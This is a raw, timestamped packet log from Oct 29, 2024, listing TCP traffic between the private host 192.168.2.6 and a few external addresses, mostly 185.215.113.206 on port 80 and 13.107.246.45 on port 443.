Oct 29, 2024 17:59:49.382555008 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.382786036 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.382831097 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.382868052 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.382908106 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.382909060 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.382924080 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.382941008 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.382947922 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.382966995 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.382985115 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.383264065 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.383327961 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.383347988 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.383363008 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.383387089 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.383408070 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.383408070 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.383418083 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.383424997 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.383433104 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.383439064 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.383471012 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.383888006 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.383913994 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.383929014 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.383944035 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.383958101 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.383958101 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.383975029 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.383991003 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.384032965 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.415553093 CET	443	50038	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.415728092 CET	443	50038	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.415906906 CET	50038	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.415931940 CET	443	50039	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.415965080 CET	443	50039	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.416011095 CET	443	50039	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.416013002 CET	50039	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.416049957 CET	50039	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.416125059 CET	50038	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.416141033 CET	443	50038	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.416155100 CET	50038	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.416162014 CET	443	50038	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.417331934 CET	50039	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.417350054 CET	443	50039	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.419801950 CET	50041	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.419840097 CET	443	50041	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.419907093 CET	50041	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.420217037 CET	50041	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.420231104 CET	443	50041	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.420675993 CET	50042	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.420712948 CET	443	50042	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.420777082 CET	50042	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.420938969 CET	50042	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.420953989 CET	443	50042	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.423172951 CET	443	50040	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.423242092 CET	443	50040	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.423283100 CET	50040	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.423463106 CET	443	50037	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.423491955 CET	443	50037	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.423533916 CET	443	50037	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.423582077 CET	50037	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.424170017 CET	50040	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.424184084 CET	443	50040	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.424199104 CET	50040	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.424206018 CET	443	50040	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.425357103 CET	50037	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.425363064 CET	443	50037	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.425386906 CET	50037	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.425391912 CET	443	50037	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.427196980 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.427212954 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.427227020 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.427272081 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.427316904 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.427684069 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.427738905 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.427762985 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.427778959 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.427793980 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.427818060 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.427819967 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.427834988 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.427845955 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.427853107 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.427859068 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.427875996 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.427910089 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.435693026 CET	50043	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.435707092 CET	443	50043	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.435772896 CET	50043	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.438169956 CET	50044	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.438196898 CET	443	50044	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.438296080 CET	50044	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.438412905 CET	50043	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.438426971 CET	443	50043	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.438812971 CET	50044	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.438827038 CET	443	50044	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.442133904 CET	443	50036	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.442284107 CET	443	50036	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.442347050 CET	50036	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.442359924 CET	50036	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.442364931 CET	443	50036	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.442383051 CET	50036	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.442388058 CET	443	50036	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.449760914 CET	50045	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.449781895 CET	443	50045	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.450022936 CET	50045	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.450141907 CET	50045	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.450156927 CET	443	50045	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.454998016 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.455014944 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.455029964 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.455049992 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.455066919 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.459158897 CET	50046	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:49.459184885 CET	443	50046	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:49.459270954 CET	50046	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:49.459680080 CET	50046	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:49.459695101 CET	443	50046	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:49.500267982 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.500296116 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.500317097 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.500319958 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.500338078 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.500340939 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.500349045 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.500358105 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.500382900 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.500386953 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.500399113 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.500415087 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.500447035 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.500447035 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.500487089 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.500502110 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.500516891 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.500526905 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.500557899 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.500863075 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.500905037 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.500920057 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.500960112 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.500973940 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.500974894 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.500992060 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.501008034 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.501012087 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.501024961 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.501024961 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.501044989 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.501055956 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.501202106 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.501218081 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.501235008 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.501245975 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.501255989 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.501266003 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.501272917 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.501292944 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.501699924 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.501723051 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.501739979 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.501750946 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.501754045 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.501760006 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.501775980 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.501779079 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.501782894 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.501789093 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.501792908 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.501796007 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.501810074 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.501817942 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.501837015 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.501861095 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.544442892 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.544490099 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.544504881 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.544512033 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.544521093 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.544534922 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.544543982 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.544564962 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.544653893 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.544816971 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.544862032 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.544938087 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.544981956 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.545011997 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.545027971 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.545044899 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.545059919 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.545059919 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.545088053 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.545109034 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.545129061 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.545144081 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.545160055 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.545165062 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.545180082 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.545198917 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.572352886 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.572379112 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.572392941 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.572407007 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.572410107 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.572437048 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.572462082 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.617605925 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.617635012 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.617662907 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.617703915 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.617784023 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.617834091 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.617850065 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.617877960 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.617882967 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.617898941 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.617902040 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.617923975 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.617933989 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.617938995 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.617954969 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.617976904 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.617979050 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.617995977 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.617996931 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.618010998 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.618017912 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.618036985 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.618047953 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.618232965 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.618248940 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.618272066 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.618288994 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.618294954 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.618305922 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.618321896 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.618323088 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.618341923 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.618345976 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.618366003 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.618370056 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.618391037 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.618415117 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.618726015 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.618742943 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.618757963 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.618777990 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.618792057 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.618838072 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.618854046 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.618869066 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.618885040 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.618891954 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.618901968 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.618902922 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.618921995 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.618928909 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.618930101 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.618936062 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.618941069 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.618943930 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.618971109 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.619003057 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.661932945 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.661993027 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.662007093 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.662024021 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.662039995 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.662055016 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.662058115 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.662071943 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.662084103 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.662115097 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.662610054 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.662667036 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.662709951 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.662715912 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.662722111 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.662728071 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.662744999 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.662750959 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.662761927 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.662771940 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.662779093 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.662802935 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.662822008 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.689701080 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.689721107 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.689740896 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.689755917 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.689785004 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.734699965 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.734761000 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.734774113 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.734819889 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.734849930 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.734901905 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.734935999 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.734946966 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.734972000 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.734986067 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.735006094 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.735042095 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.735050917 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.735076904 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.735110998 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.735120058 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.735133886 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.735156059 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.735172033 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.735200882 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.735248089 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.735265017 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.735296011 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.735310078 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.735320091 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.735351086 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.735366106 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.735388994 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.735404015 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.735414028 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.735421896 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.735460997 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.735675097 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.735718966 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.735740900 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.735755920 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.735789061 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.735795021 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.735805035 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.735827923 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.735852957 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.736052036 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.736093998 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.736119032 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.736124039 CET	80	49958	185.215.113.206	192.168.2.6
